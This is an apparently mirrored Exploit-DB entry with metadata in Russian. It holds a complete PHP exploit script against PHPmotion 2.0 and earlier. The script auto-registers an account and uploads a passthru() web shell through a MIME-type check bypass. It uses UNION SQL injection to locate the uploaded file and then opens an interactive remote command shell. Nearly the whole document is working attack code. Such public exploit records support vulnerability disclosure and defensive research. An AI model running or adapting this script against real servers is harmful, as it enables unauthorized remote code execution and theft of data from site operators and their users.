- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 5938
- Проверка EDB
-
- Пройдено
- Автор
- EGIX
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2008-3118 cve-2008-3117
- Дата публикации
- 2008-06-25
PHP:
<?php
/*
-----------------------------------------------------------------
PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit
-----------------------------------------------------------------
author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com
link.....: http://www.phpmotion.com/
details..: don't works on windows platforms due to $_FILES['ufile']['tmp_name'] is stripslashed
[-] vulnerable code in /update_profile.php
255. // START OF FILE UPLOAD AND SECURITY CHECK
256. $limit_size = $config['maximum_size'];//you can change this to a higher file size limit (this is in bytes = 2MB apprx)
257. $random = randomcode();//create random number
258. $uniquename1 = $random . $_FILES['ufile']['name'];//add random number to file name to create unique file
259. $uniquename = mysql_real_escape_string($uniquename1);
260. $path = installation_paths();
261. $path = $path . "/pictures/" . $uniquename;
262.
263. if ($_FILES) {
264. // Store upload file size in $file_size
265. $file_size = $_FILES['ufile']['size'];
266. //die("\$file_size = $file_size; \$limit_size = $limit_size;");
267.
268. if ($file_size >= $limit_size) {
269. // Display file size error
270. // ///////////////////////
271. $show = 1;
272. $message_type = $config["notification_success"];//the messsage displayed at the top coner
273. $error_message = 'Your image is too large. The maximum size allowed is: ' . $config['maximum_size_human_readale'];
274. $blk_id = 1;//html table - error block
275. $template = "templates/main_1.htm";
276. $inner_template1 = "templates/inner_myaccount_update_profile.htm";//middle of page
277. $TBS = new clsTinyButStrong;
278. $TBS->NoErr = true;// no more error message displayed.
279. $TBS->LoadTemplate("$template");
280. $TBS->Render = TBS_OUTPUT;
281. $TBS->Show();
282.
283. @mysql_close();
284. die();
285. }
286. else {
287. $filetype = $_FILES['ufile']['type']; <=======
288. if ($filetype == "image/gif" || $filetype == "image/jpeg" || $filetype ==
289. "image/pjpeg") {
290. // copy file to where you want to store file
291. if (@copy($_FILES['ufile']['tmp_name'], $path)) {
292. }
293. else {
294. // Display general file copy error
an attacker might be able to upload arbitrary malicious files with .php extension due to the code
near lines 287-289 will check only the MIME type of the upload request, that can be easily spoofed!
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
// yes, SQL injection vulnerable too!
function retrive_data($field, $table, $clause)
{
global $host, $path;
$sql = "-1/**/UNION/**/SELECT/**/".str_repeat("1,",16)."{$field},".encodeSQL("yes").",1,1,1/**/FROM/**/{$table}/**/WHERE/**/{$clause}%23";
$packet = "GET {$path}play.php?vid={$sql} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
preg_match("/play.php\?vid=(.*)\"/", http_send($host, $packet), $match);
return $match[1];
}
function encodeSQL($sql)
{
for ($i = 0, $n = strlen($sql); $i < $n; $i++) $encoded .= dechex(ord($sql[$i]));
return "CONCAT(0x{$encoded})";
}
function upload()
{
global $host, $path, $sid, $username;
login();
print "[-] Trying to upload a shell...\n";
$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"submitted_pic\"\r\n\r\nyes\r\n";
$payload .= "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"ufile\"; filename=\".php\"\r\n";
$payload .= "Content-Type: image/jpeg\r\n\r\n";
$payload .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
$payload .= "--o0oOo0o--\r\n";
$packet = "POST {$path}update_profile.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: PHPSESSID={$sid}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
http_send($host, $packet);
$user_id = (int) retrive_data("user_id", "member_profile", "user_name=".encodeSQL($username));
$file_name = retrive_data("file_name", "pictures", "user_id={$user_id}");
if (!isset($file_name)) die("\n[-] Upload failed...\n");
else return $file_name;
}
function login()
{
global $host, $path, $username, $password, $sid;
print "\n[-] Logging in with username '{$username}' and password '{$password}'\n";
$data = "user_name_login={$username}&password_login={$password}&submitted=yes";
$packet = "POST {$path}login.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Connection: close\r\n\r\n";
$packet.= $data;
$html = http_send($host, $packet);
preg_match("/PHPSESSID=([0-9a-f]{32})/i", $html, $match);
$sid = $match[1];
if (!preg_match("/Location: myaccount.php/i", $html))
{
print "[-] Login failed!\n";
register();
login();
}
}
function register()
{
global $host, $path, $username, $password;
print "\n[-] Registering new user '{$username}' with password '{$password}'\n";
// register a new account
$data = "user_name={$username}";
$data .= "&password={$password}";
$data .= "&confirm_password={$password}";
$data .= "&email_address=".md5(time())."@null.com";
$data .= "&form_submitted=yes";
$data .= "&terms=yes";
$packet = "POST {$path}register.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Content-Length: ".strlen($data)."\r\n";
$packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet.= "Connection: close\r\n\r\n";
$packet.= $data;
http_send($host, $packet);
$code = retrive_data("random_code", "member_profile", "user_name=".encodeSQL($username));
if (!isset($code)) die("\n[-] Registration failed...\n");
// and confirm the registration
$packet = "GET {$path}confirm.php?id={$code} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Connection: close\r\n\r\n";
if (!preg_match("/registration is now complete/i", http_send($host, $packet))) die("\n[-] Registration failed...\n");
}
print "\n+---------------------------------------------------------------------------+";
print "\n| PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit by EgiX |";
print "\n+---------------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /phpmotion/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$username = "pr00f_0f";
$password = "_c0nc3pt";
$r_path = "pictures/".upload();
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
print "\nphpmotion-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}{$r_path} HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
$output = http_send($host, $packet);
if (!preg_match("/_code_/", $output)) die("\n[-] Exploit failed...\n");
$shell = explode("_code_", $output);
print "\n{$shell[1]}";
}
else break;
}
?>
# milw0rm.com [2008-06-25]- Источник
- www.exploit-db.com
